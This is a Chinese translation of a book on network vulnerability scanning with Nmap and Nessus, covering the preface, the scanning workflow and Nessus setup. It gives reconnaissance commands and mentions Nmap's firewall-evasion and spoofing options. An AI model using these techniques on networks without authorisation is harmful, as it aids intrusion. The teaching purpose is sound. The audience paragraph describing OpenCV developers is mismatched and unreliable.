保护网络设施:使用-NMAP-和-Nessus7-探索实用网络安全(全)
保护网络设施:使用 NMAP 和 Nessus7 探索实用网络安全(全)
原文:
annas-archive.org/md5/7D3761650F2D50B30F8F36CD4CF5CB9C
译者:飞龙
前言
数字化统治着技术世界,因此对于组织来说,为其网络基础架构设计安全机制至关重要。分析漏洞是保护网络基础设施的最佳方式之一。本学习路径首先介绍了网络安全评估、工作流程和架构的各种概念。您将使用开源工具执行主动和被动网络扫描,并利用这些结果来分析和设计网络安全的威胁模型。在对基础知识有了牢固的理解之后,您将学习如何扫描网络漏洞和开放端口,并使用它们作为进入网络的后门,使用网络扫描的顶级工具:Nessus 和 Nmap。随着章节的进展,您将学习执行各种关键扫描任务,如防火墙检测、操作系统检测和访问管理,以检测网络中的漏洞。通过本学习路径的结束,您将熟悉网络扫描工具和漏洞扫描以及网络保护的技术。
本学习路径包括以下 Packt 产品的内容:
-
Sairam Jetty 的《网络扫描食谱》
-
Sagar Rahalkar 的《网络漏洞评估》
本书适合对象
如果您是具有基本计算机视觉和图像处理理解并希望使用 OpenCV 开发有趣的计算机视觉应用程序的软件开发人员,那么本课程适合您。了解 C++的先验知识将有助于您理解本学习路径中涵盖的概念。
本书涵盖内容
第一章,网络漏洞扫描简介,介绍了基本的网络组件及其架构。它还解释了网络漏洞扫描的方法和方法以及其中涉及的复杂性,并探讨了已识别漏洞的缓解计划。
第二章,理解网络扫描工具,包括让您基本了解 Nessus 和 Nmap 工具的配方,包括安装这些工具的技术要求和其工作细节。然后,该章节深入介绍了 Nessus 和 Nmap 的安装和卸载说明。
第三章,端口扫描,包括执行端口扫描技术的配方。它从主机发现的指导和细节开始,然后转向开放端口、脚本和版本扫描。它还提供了关于在执行端口扫描时规避网络保护系统的见解。
第四章,漏洞扫描,包括管理 Nessus 功能的配方,如策略、设置和用户帐户。您还将掌握使用 Nessus 执行网络漏洞扫描的步骤,然后管理扫描结果。
第五章,配置审计,包括使用 Nessus 在多个平台上执行配置审计和差距分析的配方。它将带您逐步创建、选择和配置策略,以执行操作系统、数据库和 Web 应用程序的配置审计。
第六章,报告分析和确认,将教您如何通过分析 Nmap 和 Nessus 扫描的结果来创建有效的报告。本章的配方将详细介绍支持的报告类型以及这些工具允许的定制级别。它还提供了一些确认 Nessus 和 Nmap 报告的漏洞的技术细节,使用各种工具。
第七章,理解 Nessus 和 Nmap 的定制和优化,教你如何为 Nmap 和 Nessus 创建自定义脚本和审计文件。这些配方提供了逐步的程序,用于复制定制审计文件的方法。
第八章,物联网、SCADA/ICS 的网络扫描,包括了理解 SCADA 和 ICS 系统的网络扫描程序的配方。这些配方概述了使用 Nmap 和 Nessus 执行端口扫描和网络漏洞扫描的方法,以确保这些关键系统的高可用性。
第九章,漏洞管理治理,是关于从治理角度理解漏洞管理计划的基本要点,并向读者介绍一些绝对基本的安全术语和启动安全评估的基本先决条件。
第十章,设置评估环境,将介绍建立全面漏洞评估和渗透测试环境的各种方法和技术。
第十一章,安全评估先决条件,是关于了解安全评估的先决条件。我们将学习进行成功安全评估所需的所有规划和范围确定以及文档编制。
第十二章,信息收集,是关于学习有关目标系统的各种工具和技术。我们将学习应用各种技术并使用多种工具有效地收集有关范围内目标的尽可能多的信息。从这个阶段收集的信息将用作输入到
下一阶段。
第十三章,枚举和漏洞评估,是关于探索范围内目标的各种工具和技术,并对其进行漏洞评估。
第十四章,获取网络访问权限,是关于如何利用各种技术和隐蔽通道获取对受损系统的访问权限的见解。
第十五章,评估 Web 应用程序安全性,是关于学习 Web 应用程序安全的各个方面。
第十六章,特权提升,是关于了解与特权提升相关的各种概念。读者将熟悉各种特权提升概念,以及在受损的 Windows 和 Linux 系统上提升特权的实际技术。
第十七章,维持访问和清除痕迹,是关于在受损系统上维持访问并使用反取证技术清除痕迹。我们将学习在受损系统上创建持久后门,并使用 Metasploit 的反取证能力清除渗透痕迹。
第十八章,漏洞评分,是关于理解正确漏洞评分的重要性。我们将了解标准漏洞评分的必要性,并获得使用 CVSS 评分漏洞的实际知识。
第十九章,威胁建模,是关于理解和准备威胁模型。我们将了解威胁建模的基本概念,并获得使用各种工具进行威胁建模的实际知识。
第二十章,修补和安全加固,是关于理解修补和安全加固的各个方面。我们将了解修补的重要性,以及在目标系统上列举修补级别和制定安全配置指南的实际技术,以加固基础设施的安全性。
第二十一章,漏洞报告和指标,是关于探索围绕漏洞管理计划可以建立的各种指标。读者将能够理解组织漏洞管理计划的成功度量的重要性、设计和实施指标。
为了充分利用这门课程
建议使用配有 8GB RAM 的 PC,并在其中安装了 Kali Linux 的虚拟系统设置。可以从www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
下载 VMware/VirtualBox/Hyper-V 的 Kali Linux 镜像文件。
为了遵循食谱,您需要运行 Windows 或 Kali Linux,并需要 Rapid7 的 Metasploitable 2 以及 Nmap 和 Nessus 的最新版本。对于一些食谱,比如与配置审计有关的食谱,您需要拥有 Nessus 专业许可证。
下载彩色图像
我们还提供了一个 PDF 文件,其中包含了本学习路径中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/ files/downloads/NetworkVulnerabilityAssessment_ColorImages.pdf
。
www.packtpub.com/sites/default/files/downloads/ 9781789346480_ColorImages.pdf
。
使用的约定
本课程中使用了许多文本约定。
CodeInText
:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:“input()
方法用于从用户那里获取输入。”
任何命令行输入或输出都是按照以下格式编写的:
root@kali:~# theharvester -d demo.testfire.net -l 20 -b google -h
output.html
粗体:表示新术语、重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这种方式出现在文本中。例如:“如果您需要其他内容,请点击页眉中的下载链接以获取所有可能的下载内容:”
警告或重要说明会以这种方式出现。
技巧会以这种方式出现。
部分
在学习路径的前八课中,您会经常看到几个标题(准备工作,如何做…,它是如何工作的…,还有更多…,以及参见)。为了清晰地说明如何完成一个食谱,使用这些部分如下:
准备工作
本节告诉您在食谱中可以期待什么,并描述如何设置任何软件
或食谱所需的任何初步设置。
如何做…
本节包含了遵循食谱所需的步骤。
它是如何工作的…
本节通常包括对先前发生的事情的详细解释
部分。
还有更多…
本节包含有关食谱的其他信息,以使您更加了解
对食谱有了解。
参见
本节提供了有关食谱的其他有用信息的链接。
保持联系
我们始终欢迎读者的反馈意见。
一般反馈:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并发送电子邮件至customercare@packtpub.com
。
勘误:尽管我们已经尽一切努力确保内容的准确性,但错误确实会发生。如果您在这本书中发现了错误,我们将不胜感激地希望您向我们报告。请访问www.packt.com/submit-errata,选择您的书,点击勘误提交表格链接,并输入详细信息。
盗版:如果您在互联网上发现我们作品的任何形式的非法副本,我们将不胜感激地希望您向我们提供位置地址或网站名称。请通过copyright@packt.com
与我们联系,并提供材料链接。
如果您有兴趣成为作者:如果您在某个专业领域有专长,并且有兴趣撰写或为一本书做出贡献,请访问authors.packtpub.com。
评论
请留下评论。一旦您阅读并使用了这本书,为什么不在您购买它的网站上留下评论呢?潜在的读者可以看到并使用您的公正意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢!
有关 Packt 的更多信息,请访问packt.com。
第一章:网络漏洞扫描简介
在当今时代,黑客普遍存在,每天都会发现各种产品的关键漏洞,企业网络需要制定程序,实时识别、分析和减轻漏洞。在本课程中,我们将研究执行网络安全扫描所需的各种程序和工具,并了解并采取所获得的结果。
本课程将为任何读者提供计算机网络的基础知识,以准备、规划和执行网络漏洞扫描,并确定渗透测试的目标,或者只是了解网络的安全状况。这将帮助初学者渗透测试人员征服并学会制定方法来执行识别漏洞的初步步骤。
本章将向您介绍计算机网络的基础知识。它还深入探讨了执行网络漏洞扫描时需要考虑的程序、用途和各种复杂性。本章将为您提供如何规划网络漏洞扫描的基本知识。
在本章中,我们将涵盖以下内容:
-
基本网络及其组件
-
网络漏洞扫描
-
网络漏洞扫描中使用的程序流程
-
执行网络漏洞扫描的用途
-
执行网络扫描的复杂性
-
如何制定缓解计划和应对
基本网络及其组件
基本的企业网络通常由诸如台式机/笔记本电脑、服务器、防火墙、代理、入侵检测和预防系统以及集线器、交换机和路由器等安全设备组成。大多数情况下,这些设备来自不同的供应商,因此它们容易受到不同的攻击,并使网络暴露于更大的攻击面。黑客可以利用公开可用的漏洞或零日漏洞攻击这些组件,从而可能访问设备/机器,并有可能访问网络中的其他设备/机器或整个网络。请注意以下图表以说明这一点:
网络漏洞扫描
漏洞是系统或设备中存在的一种弱点,可能会受到攻击。网络漏洞扫描是一种查找网络组件(如客户端、服务器、网络设备和终端)中的漏洞的过程,使用各种自动化或手动工具和技术进行识别和检测。它可以广泛分类为两种类型:内部网络漏洞扫描和外部网络漏洞扫描。
内部和外部漏洞扫描在过程上有相似之处,但在扫描设备或系统的网络位置上有所不同。外部漏洞扫描的范围是识别漏洞,考虑到攻击者通过网络上的公共 IP 地址针对网络,而内部漏洞扫描则是考虑攻击者是内部人员,可以访问内部网络,并通过私有 IP 地址针对网络。识别内部和外部威胁对于任何计算机网络都非常重要,以根据识别的漏洞数量实时呈现网络的安全性。
漏洞扫描对网络有其自身的副作用,例如由于流量增加而导致的网络延迟增加,网络资源无响应以及设备和服务器的重启。因此,组织内部网络扫描应该以最大的关注和适当的批准进行。一般来说,可以使用两种扫描技术,即认证和非认证。我们将在第四章 漏洞扫描和第五章 配置审计中看到这些扫描类型的方法。
初学者经常将漏洞扫描与渗透测试混淆。漏洞扫描是识别可以执行渗透测试的主机的初步步骤。例如,作为漏洞扫描的一部分,您确定服务器上的端口80
是开放的,并且容易受到远程代码执行(RCE)攻击。对于渗透测试,这些信息将被输入,因为您已经知道服务器容易受到 RCE 攻击,并将尝试执行攻击并破坏服务器。
在执行网络漏洞扫描之前,建议始终通知利益相关者,并根据服务器和托管在服务器上的数据的重要性来获取停机时间。在开始扫描之前和扫描完成后写一封电子邮件是一个好习惯,因为这将帮助各个团队检查服务的连续性。
在本课程的后续章节中,我们将查看许多方法,以了解在进行网络漏洞扫描期间应遵循的各种最佳实践。
程序流程
网络漏洞扫描的活动可以分为三个阶段:
-
发现
-
端口扫描
-
漏洞扫描
发现
发现,也称为主机发现,是枚举活动主机的过程,是安全测试活动侦察阶段的一个非常重要的组成部分。这将帮助您从目标列表中排除不需要的主机,因此它将允许您使用这些枚举的主机执行有针对性的扫描和渗透测试。可以用于执行网络发现的一些工具包括 Nmap、Nessus、OpenVas 和 Wireshark。
以下截图显示了使用 Nmap 进行发现的样本主机。它显示主机是活动的,因此我们可以确定主机是活动的:
如果网络禁用了 ping,这些工具会派上用场。我总是更喜欢使用 Nmap 而不是其他工具,因为它易于使用,而且Nmap 脚本引擎(NSE)允许用户编写和实施自定义脚本。我们将在接下来的章节中讨论 NSE。
在本课程中,我们将进一步介绍如何手动执行主机发现和使用工具的各种方法。
端口扫描
在这个阶段,我们将根据主机在特定端口与您的机器之间的通信执行端口开放的检测。这种技术有助于确定特定端口是开放还是关闭。这种技术因协议而异。例如,对于 TCP,通信和推断端口是否开放的模式与 UDP 相比是不同的。可以用于执行端口扫描的一些工具包括 Nmap、Nessus、OpenVas 和 Wireshark。
以下截图显示了使用 Nmap 扫描端口80
的样本主机。截图显示主机是活动的,端口80
的状态
为开放
,因此我们可以确定主机是活动的。如果网络禁用了 ping,这些工具会派上用场:
在本课程中,我们将进一步介绍如何手动执行端口扫描和使用工具的各种方法。
漏洞扫描
一旦确定了发现的活动主机上的开放端口,我们就可以进行漏洞扫描。漏洞扫描可以检测和识别主机上已安装软件和工具的已知问题,例如使用的旧版本软件、启用的易受攻击的协议和默认密码。手动执行此活动很困难;因此,这个阶段需要使用自动化工具来识别开放端口,并尝试在端口上使用各种利用程序,以确定特定进程/软件是否容易受到基于该进程的利用的攻击。用于执行漏洞扫描的一些工具包括 Nessus、OpenVas 和 Qualys。
以下屏幕截图显示了使用 OpenVas 扫描漏洞的样本主机。您可以看到输出显示了主机受影响的漏洞列表:
在本课程中,我们将进一步向您介绍如何使用 Nessus 扫描主机的各种方法,并如何自定义这些扫描以获得特定和更少的误报结果。
用途
正如本章前面部分所述,进行网络漏洞扫描的主要优势是了解网络的安全状况。网络漏洞扫描的结果提供了一系列信息,对管理员和渗透测试人员都很有用,例如以下内容:
-
开放的不需要的端口和运行的服务
-
默认用户帐户和密码信息
-
缺失的补丁、更新和升级
-
安装的软件的易受攻击版本
-
使用的易受攻击的协议
-
使用的易受攻击的算法
-
所有先前漏洞的利用信息
网络漏洞扫描允许识别不必要的开放端口和这些端口上运行的服务。例如,位于非军事区的应用/ Web 服务器不需要打开 TCP 端口22
并暴露给互联网。这些不需要的端口使主机/设备容易受到攻击。大多数扫描程序在识别任何托管服务的登录界面时,会尝试使用预先存在的用户名和密码数据库进行登录,并提供所有默认用户名和密码的报告,使用这些用户名和密码可能会危及服务。
经过认证的补丁扫描可以显示各种受支持平台的缺失补丁和更新的详细信息。这些信息至关重要,因为大多数这些缺失的补丁在互联网上都有可用的利用程序,可以用来在网络上重现类似的攻击。这可能还会揭示网络中主机上安装的第三方工具中的各种缺失补丁。这些信息帮助攻击者针对这些工具进行攻击,并获取对节点甚至整个网络的访问权限。
网络漏洞扫描还突出显示网络或节点中使用的各种易受攻击的协议。例如,如果服务器运行支持 SMBv1 协议的 SMB 共享,它将被标记为易受攻击,风险评级高于中等,因为 SMBv1 易受各种已知的恶意软件攻击。此外,扫描还突出显示服务运行时使用的易受攻击的密码和认证方法,这些方法容易受到已知的中间人攻击。例如,如果 Web 服务器在 HTTP 协议上使用基本认证,当网络上执行中间人攻击时,它容易暴露用户凭据。
大多数漏洞扫描程序,无论是开源还是付费软件,都会在漏洞的描述中提供与攻击相关的利用信息。这将通过直接链接提供给攻击者和渗透测试人员,使他们更容易地进行攻击或提供利用代码本身。
以下屏幕截图提供了指向有关扫描器报告的漏洞信息的文件的链接:
除了以前的技术用例之外,网络漏洞还从组织的角度具有各种用途,例如以下用途:
-
重视和关注信息安全
-
帮助主动发现潜在风险
-
导致网络更新
-
推进管理知识的发展
-
防止关键基础设施的财务损失
-
优先考虑需要升级修补程序与延迟修补程序的漏洞
复杂性
今天的网络环境具有复杂的结构,包括防火墙、DMZ 和交换机、路由器等网络设备。这些设备包括复杂的访问列表和虚拟网络配置,这使得很难概括任何活动。在上述配置中的任何变化都可能导致整个网络架构的变化。
如果我们要对任何网络组件进行基于 IP 的扫描,必须确保生成的所有数据包都完好无损地到达目的地,并且不受中间任何设备或解决方案的影响。例如,如果 Alice 正在通过网络扫描 Bob 的计算机,并且他们之间由防火墙分隔,其中 Bob 的子网被配置为处于 WAN Ping Block 模式,作为其中 ping 数据包将在防火墙级别被识别并丢弃,Alice 的主机发现扫描 Bob 的计算机将导致虚假阳性,即机器不在线。
为了成功地使用网络漏洞扫描进行安全配置文件,需要考虑以下因素:
-
扫描范围
-
网络架构
-
网络访问
扫描范围
如果我们需要对特定应用程序的基础设施进行漏洞评估,非常重要的是识别数据传输源和端到端通信中涉及的组件。这将允许渗透测试人员对此范围进行漏洞扫描,并识别特定于此应用程序的漏洞。相反,如果我们选择扫描子网或更广泛范围的 IP 地址,我们可能会突出显示不必要的漏洞,这在大多数情况下会导致在修复阶段混淆。例如,如果我们要审计一个基于 Web 的应用程序,我们可能会包括 Web 应用程序、应用程序服务器、Web 服务器和数据库服务器作为审计范围的一部分。
网络架构
了解进行漏洞扫描的 IP 地址或组件的位置总是很重要。这将帮助我们定制我们的方法并减少虚假阳性。例如,如果 Alice 试图扫描一个托管在 Web 应用程序防火墙后面的 Web 应用程序,她需要定制用于识别漏洞的有效载荷或脚本,使用编码等技术,以确保有效载荷不会被 Web 应用程序防火墙阻止。
网络访问
当被要求在庞大的网络上执行网络漏洞扫描时,非常重要的是要知道是否已为您的设备或主机提供了适当的访问权限以执行扫描活动。在没有适当网络访问权限的情况下执行的网络漏洞扫描将产生不完整的结果。始终建议将扫描器设备或主机 IP 地址列入网络设备的白名单,以获得对扫描范围的完全访问权限。
响应
一旦获得网络漏洞扫描报告,就重要制定缓解计划,以减轻报告中突出的所有漏洞。以下是网络安全扫描报告的一些解决方案:
-
关闭不需要的端口并禁用不需要的服务
-
使用强大且不常见的密码
-
始终应用最新的补丁和更新
-
卸载或更新旧版本的软件
-
禁用正在使用的旧版和旧协议
-
使用强大的算法和认证机制
报告需要根据调查结果编制,并将任务分配给各个部门。例如,所有与 Windows 相关的漏洞都应由负责维护 Windows 机器的相应团队来减轻。一旦责任在团队之间分配好,团队就应对报告中提供的解决方案进行影响和可行性分析。团队必须根据安全目标、机密性、完整性和可用性检查解决方案。这些减轻措施可以用作创建加固文档的基线,其中包括公共或私有领域中的任何其他可用基线。
一旦解决方案在受影响的主机上实施,团队就需要将这些推荐的补救措施纳入现有政策中,以避免将来的配置错误。这些政策需要不时更新,以符合当前的安全标准。
任何组织或个人都需要遵守并创建以下活动的循环,以实现其信息安全目标:
-
漏洞评估
-
减轻分析
-
打补丁,更新和减轻
如前所述,漏洞评估将导致网络中存在的所有漏洞,之后需要进行减轻分析,以了解必须实施的补救措施,并对其是否会对网络组件的连续性产生影响进行可行性检查。一旦所有的补救措施都被确定,就实施这些补救措施并跳转到第一步。如果每季度执行一次这个循环,可以确保网络得到最大程度的保护。
始终确保解决方案已在测试环境中实施,以查看对网络上托管的应用程序连续性的影响;还要查找任何依赖关系,以确保网络功能不受影响。
总结
总之,网络漏洞扫描是一个包括发现、端口扫描和漏洞扫描的三阶段过程。如果执行正确,这将帮助组织识别其当前的安全状况,并创建可操作的解决方案以改善这种状况。在本章中,我们已经了解了规划网络漏洞扫描的步骤以及涉及的各种因素。在接下来的章节中,我们将深入研究如何执行这种网络漏洞扫描以识别漏洞并采取行动的教程。
第二章:了解网络扫描工具
在本章中,我们将涵盖以下内容:
-
介绍 Nessus 和 Nmap
-
安装和激活 Nessus
-
下载和安装 Nmap
-
更新 Nessus
-
更新 Nmap
-
删除 Nessus
-
删除 Nmap
介绍 Nessus 和 Nmap
在本节中,我们将了解 Nmap 和 Nessus 中提供的各种功能。这有助于用户在使用它们之前充分了解工具及其功能。
Nessus 的有用功能
Nessus 网页界面的默认屏幕“扫描”如下截图所示;这是您可以查看所有已安排/执行的扫描的地方。在右上方,您可以在“扫描”和“设置”页面之间切换。接下来,我们将进入扫描界面:
Nessus 默认屏幕的左窗格显示了多个选项卡,分类为文件夹和资源。文件夹基本上是服务器上扫描的不同视图。例如,选择“垃圾”会显示用户已删除的扫描。您可以通过选择“垃圾”文件夹右上方的“清除垃圾”选项来进一步清除垃圾。
资源是 Nessus 运行其扫描的基础。资源窗格中可见三个选项:
-
策略
-
插件规则
-
扫描器
策略
要执行 Nessus 扫描,您必须创建一个策略。策略是各种配置、方法和正在执行的扫描类型的集合。多个扫描可以使用一个策略,但每次扫描只适用一个策略。用户可以导入以前创建的策略,该策略以.nessus
格式存储,或单击“创建新策略”。一旦用户选择创建策略,他们将看到 Nessus 中提供的各种策略模板,这些模板是基于要在主机上执行的测试用例而提供的。以下是 Nessus 提供的各种策略模板的列表:
这些模板包括执行从通用到特定攻击的扫描所需的一系列配置。在屏幕截图中显示的 21 个模板中,我们将查看一些模板,以了解策略的构成和工作方式。
我们将在第四章 漏洞扫描中查看策略模板的内容。
插件规则
插件规则允许用户隐藏或更改 Nessus 提供的风险评级;这将允许对大量主机执行扫描的分析人员配置插件,以降低已应用解决方法的风险评级。这将减少大量手动工作。
自定义报告
此选项允许用户通过上传和添加徽标到报告来定制或个性化特定组织或客户的报告:
扫描器
扫描器选项卡显示了可用于扫描的扫描器数量及其详细信息。在 Nessus Home 和专业版中无法添加扫描器,但可以在 Nessus 安全中心中添加:
单击“设置”以显示设置菜单。接下来,我们将讨论设置菜单中各种选项的详细信息。
在前面的部分中,概述选项卡提供了工具概述,例如许可信息、插件信息等;我们将在更新 Nessus配方中查看软件更新选项卡的使用:
- 主密码:Nessus 提供了一个选项,可以使用主密码对在策略中使用的所有扫描策略和凭据进行加密,以在文件级别提供额外的保护层。您可以在 Web 控制台的设置菜单中找到这一点:
- 代理服务器:代理服务器用于在不进行任何更改的情况下转发请求和响应来连接多个网络。如果您的网络需要代理服务器,您可以在 Nessus 中添加一个代理服务器,以便 Nessus 能够到达要扫描的主机。您可以在设置菜单中找到代理服务器选项,如下所示:
- SMTP 服务器:发送电子邮件需要一个简单邮件传输协议(SMTP)服务器。Nessus 提供了在扫描完成后通过电子邮件通知的选项。您可以配置一个 SMTP 服务器,以便 Nessus 能够使用该邮件服务器发送通知电子邮件。SMTP 配置选项可以在设置菜单中找到,如下所示:
- 自定义 CA:Nessus 默认使用在其安装过程中签名的证书进行基于 Web 的访问,以便浏览器信任该证书并消除所有证书错误。Nessus 提供了保存自定义 CA 的选项。自定义 CA 选项可以在设置菜单中找到,如下所示:
- 密码管理:默认和弱密码是系统中最常见的漏洞之一,因此为了保护 Nessus 控制台免受未经授权的访问,我们需要配置强密码。为了确保管理员使用强密码,Nessus 提供了密码管理选项,管理员可以配置密码复杂性、会话超时、最大登录尝试次数和最小密码长度等参数。这些可以用来保护 Nessus 控制台免受密码和会话相关的攻击。密码管理选项可以在设置菜单中找到,如下所示:
Nmap 的各种功能
使用 Nmap 执行网络扫描涉及多个阶段。这些步骤可以由 Nmap 实用程序提供的各种选项定义。用户可以根据自己的需求选择这些选项中的任何一个,以获得特定的网络扫描结果。以下是 Nmap 实用程序提供的选项:
-
主机发现
-
扫描技术
-
端口规范和扫描顺序
-
服务或版本检测
-
脚本扫描
-
OS 检测
-
时间和性能
-
规避和欺骗
-
输出
-
目标规范
主机发现
一个网络包括许多基于提供的子网的主机。例如,具有掩码值 27 的子网将有 32 个主机,而具有掩码值 24 的子网将有 256 个主机。在不知道哪些主机是活动的情况下对 256 个主机进行全端口扫描可能需要很长时间。为了减少 Nmap 生成和处理的流量,我们可以根据活动和非活动主机过滤网络主机。这将允许 Nmap 减少不必要的分析并更快地获得结果。
扫描技术
Nmap 根据要生成的数据包类型提供了各种扫描技术选项,这取决于网络中使用的各种保护机制。这些技术使用不同的标头值构造数据包,以获取 ACK 或 RST 数据包,根据这些数据包决定并显示端口的性质。如前所述,其中一些扫描类型用于规避检测并确保用户在网络中的匿名性。
端口规范和扫描顺序
默认情况下,如果未规定要扫描的端口范围,Nmap 将扫描最常用的前 1000 个端口,即在网络中最常开放的端口。这些扫描选项允许用户指定要扫描的端口和扫描顺序。
服务或版本检测
Nmap 拥有大约 2,200 个知名服务的数据库。一旦检测到端口打开,可以使用这些选项来识别正在运行的服务的确切类型和版本。Nmap 通过查询这些端口并分析收到的响应来实现这一点。
脚本扫描
Nmap 具有脚本引擎,这是该程序的一个特别强大的功能,它允许用户编写或使用已有的脚本来对开放端口执行特定任务。
操作系统检测
Nmap 的操作系统检测选项帮助用户识别远程主机使用的操作系统。这将帮助用户进一步创建针对特定目标的操作并解决未来的兼容性问题。Nmap 使用 TCP/UDP 堆栈指纹机制来识别操作系统。
时间和性能
Nmap 提供了多个选项,用户可以使用这些选项定义与时间相关的多个扫描参数,例如速率、超时和并行性。这将允许用户配置扫描以更快地获取结果,从而提高扫描多个主机和网络时的性能。
逃避和欺骗
今天有许多网络安全解决方案,如防火墙和 IDS/IPS,可以阻止 Nmap 生成的网络流量。Nmap 提供选项,如分段、诱饵扫描、欺骗和代理,以规避这些网络安全解决方案,并成功完成扫描并获取结果。
输出
Nmap 不仅是一个强大的扫描工具,还具有强大的报告机制。它提供多种格式的全面报告,以 XML 和文本格式显示输出。
目标规范
Nmap 提供了多个目标规范选项,用户可以在其中提及子网、单个 IP、IP 范围和 IP 列表进行扫描。这将允许用户扫描从主机发现中识别出的特定主机。
Nmap 的一个完整语法示例如下:
Nmap -sS -sV -PN -T4 -oA testsmtp -p T:25 -v -r 192.168.1.*
根据用户的要求,一旦提供了所需的选项和参数,用户就可以执行扫描并获取输出。我们将在下一章中介绍如何使用 Nmap 执行网络扫描的配方。
作为本章的一部分,我们将介绍如何选择 Nmap 和 Nessus 的正确软件版本,以及它们的安装和卸载。这些配方是为了帮助新的受众了解要求,以及它们在不同平台上的变化。
安装和激活 Nessus
Nessus 是由 Tenable Network Security 开发的漏洞扫描器。它扫描主机和子网以查找网络级和服务级漏洞。Nessus 可供非商业用户免费使用,但功能受限。它由两个主要组件组成:NessusD(Nessus 守护程序)和可以托管在同一台机器上的客户端应用程序。Nessus 守护程序负责执行扫描并将结果传递给客户端应用程序,以多种格式提供这些结果。Tenable 还开发了增量更新和检测机制,称为插件,可以定期下载和更新。它还提供已知漏洞的额外探测功能;例如,如果发现 FTP 端口打开,Nessus 将自动尝试使用anonymous
用户登录。Nessus 具有命令行和 Web 界面,但我们将主要关注基于 GUI 的 Web 界面,因为它易于使用。
准备就绪
Nessus 的要求因其不同组件的存在以及可用的许可证类型和使用情况而有所不同。
以下表格描述了 Nessus 的硬件要求:
场景 | 最低推荐硬件 |
---|---|
Nessus 扫描最多 50,000 个主机 | CPU:4 x 2 GHz 核心内存:4 GB RAM(建议 8 GB RAM)磁盘空间:30 GB |
Nessus 扫描超过 50,000 个主机 | CPU:8 x 2 GHz 核内存:8 GB RAM(建议 16 GB RAM)磁盘空间:30 GB(报告可能需要额外空间) |
具有最多 10,000 个代理的 Nessus Manager | CPU:4 x 2 GHz 核内存:16 GB RAM磁盘空间:30 GB(报告可能需要额外空间) |
具有最多 20,000 个代理的 Nessus Manager | CPU:8 x 2 GHz 核内存:64 GB RAM磁盘空间:30 GB(报告可能需要额外空间) |
- Nessus 代理:这是为了消耗更少的内存而设计的,因为该进程是低优先级的,并且在需要时会让出 CPU。Nessus 代理可以安装在满足以下表中规定要求的虚拟机上:
硬件 | 最低要求 |
---|---|
处理器 | 1 个双核 CPU |
处理器速度 | < 1 GHz |
RAM | < 1 GB |
磁盘空间 | < 1 GB |
磁盘速度 | 15-50 IOPS |
- 虚拟机:Nessus 代理支持以下版本的 macOS、Linux 和 Windows 操作系统:
操作系统 | 支持的版本(Nessus 代理) |
---|---|
Linux | Debian 7, 8 和 9 - i386Debian 7, 8 和 9 - AMD64Red Hat ES 6/CentOS 6/Oracle Linux 6(包括不可破解的企业内核) - i386Red Hat ES 6/CentOS 6/Oracle Linux 6(包括不可破解的企业内核) - x86_64Red Hat ES 7/CentOS 7/Oracle Linux 7 - x86_64Fedora 24 和 25 - x86_64Ubuntu 12.04, 12.10, 13.04, 13.10, 14.04 和 16.04 - i386Ubuntu 12.04, 12.10, 13.04, 13.10, 14.04 和 16.04 - AMD64 |
Windows | Windows 7, 8 和 10 - i386Windows Server 2008, Server 2008 R2, Server 2012, Server 2012 R2, Server 2016, 7, 8 和 10 - x86-64 |
macOS X | macOS X 10.8 - 10.13 |
Nessus Manager 支持以下版本的 macOS、Linux 和 Windows 操作系统:
操作系统 | 支持的版本(Nessus Manager) |
---|---|
Linux | Debian 7, 8 和 9/Kali Linux 1, 2017.1 和 Rolling - i386Debian 7, 8 和 9/Kali Linux 1, 2017.1 和 Rolling - AMD64Red Hat ES 6/CentOS 6/Oracle Linux 6(包括不可破解的企业内核) - i386Red Hat ES 6/CentOS 6/Oracle Linux 6(包括不可破解的企业内核) - x86_64Red Hat ES 7/CentOS 7/Oracle Linux 7(包括不可破解的企业内核) - x86_64FreeBSD 10 和 11 - AMD64Fedora 24 和 25 - x86_64SUSE 11 和 12 Enterprise - i586SUSE 11 和 12 Enterprise - x86_64Ubuntu 12.04, 12.10, 13.04, 13.10, 14.04 和 16.04 - i386Ubuntu 12.04, 12.10, 13.04, 13.10, 14.04 和 16.04 - AMD64 |
Windows | Windows 7, 8 和 10 - i386Windows Server 2008, Server 2008 R2, Server 2012, Server 2012 R2, Server 2016, 7, 8 和 10 - x86-64 |
macOS X | macOS X 10.8 - 10.13 |
-
浏览器:Nessus 支持以下浏览器:
-
谷歌 Chrome(50 及以上)
-
苹果 Safari(10 及以上)
-
Mozilla Firefox(50 及以上)
-
Internet Explorer(11 及以上)
-
PDF 报告:Nessus 的
.pdf
报告生成功能需要安装最新版本的 Oracle Java 或 OpenJDK。在安装 Nessus 之前安装 Oracle Java 或 OpenJDK。
操作方法…
执行以下步骤:
- 从
www.tenable.com/downloads/nessus
下载适用的 Nessus 安装文件,确保选择适用于正在使用的操作系统的正确文件。
对于 64 位 Windows 操作系统,请下载 Nessus-7.1.3-x64.msi。
- 注册并从
www.tenable.com/downloads/nessus
获取激活代码。以下屏幕截图显示了带有 Nessus 激活代码的示例电子邮件:
-
按照说明安装下载的
.msi
文件。 -
Nessus 要求您在安装过程中创建管理员用户,如下所示:
- 在此处插入从 Tenable 的电子邮件中收到的激活代码:
- 确保系统连接到互联网,以便 Nessus 可以从其服务器自动下载插件。
工作原理…
一旦用户在 Windows 操作系统上下载并安装了可执行文件,就可以在本地主机的端口8834
上通过 Web 界面访问 Nessus 软件。为了完成安装,Nessus 需要一个激活码,可以通过在 Tenable 网站上注册并提供一些详细信息来获取。一旦通过电子邮件获得密钥,您需要根据使用情况输入激活码,并单击“继续”以完成安装并下载插件。每当发现新的漏洞时,Tenable 都会创建程序和脚本来识别这些漏洞。这些脚本和程序称为插件,使用Nessus 攻击脚本语言(NASL)编写。为了确保 Nessus 扫描没有漏掉任何最近发现的漏洞,这些插件需要定期更新。典型的插件包括与漏洞相关的信息,如描述、影响、修复措施,以及一些漏洞指标,如 CVSS 和 CVE。
